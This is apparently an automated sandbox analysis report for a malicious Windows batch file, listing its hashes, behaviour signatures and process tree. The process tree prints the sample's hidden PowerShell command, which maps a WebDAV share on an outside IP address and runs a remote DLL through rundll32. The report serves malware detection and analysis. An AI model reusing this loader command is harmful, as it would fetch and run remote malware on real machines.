Resubmissions

11-12-2024 15:32

241211-sy44nssrdm 10

09-08-2024 21:57

240809-1t1vfs1cpm 10

06-08-2024 13:01

240806-p9f97szdlm 10

06-08-2024 12:52

240806-p3672stdkg 10

06-08-2024 12:29

240806-ppa8fsygqr 10

06-08-2024 12:26

240806-pmc92ashlh 10

Analysis

  • max time kernel
    107s
  • max time network
    21s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    06-08-2024 12:26

General

  • Target

    1/c8e5a24a6d2fa68d7976457a19576b381e6211202500af5280b0f3b256446bf5.bat

  • Size

    2KB

  • MD5

    5617370486b7ded0ad8cf5ca9fc69e06

  • SHA1

    3baa1dab061a9cb6a329dc72e3e35fa3829341fa

  • SHA256

    c8e5a24a6d2fa68d7976457a19576b381e6211202500af5280b0f3b256446bf5

  • SHA512

    a4a5d99cf5d1b3bed3819f24d297f5283107880d5c51010a11aed2d5f4545d9f52c648fcbc3f6d884f71d1cc1217a67dbae722cfc36baa65d4ca0e0948163772

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\1\c8e5a24a6d2fa68d7976457a19576b381e6211202500af5280b0f3b256446bf5.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1012
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:1708
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\426.dll,entry
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2668
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
        3⤵
          PID:2704
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\426.dll entry
          3⤵
            PID:2820

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2668-22-0x000000001B510000-0x000000001B7F2000-memory.dmp

        Filesize

        2.9MB

      • memory/2668-23-0x0000000001D30000-0x0000000001D38000-memory.dmp

        Filesize

        32KB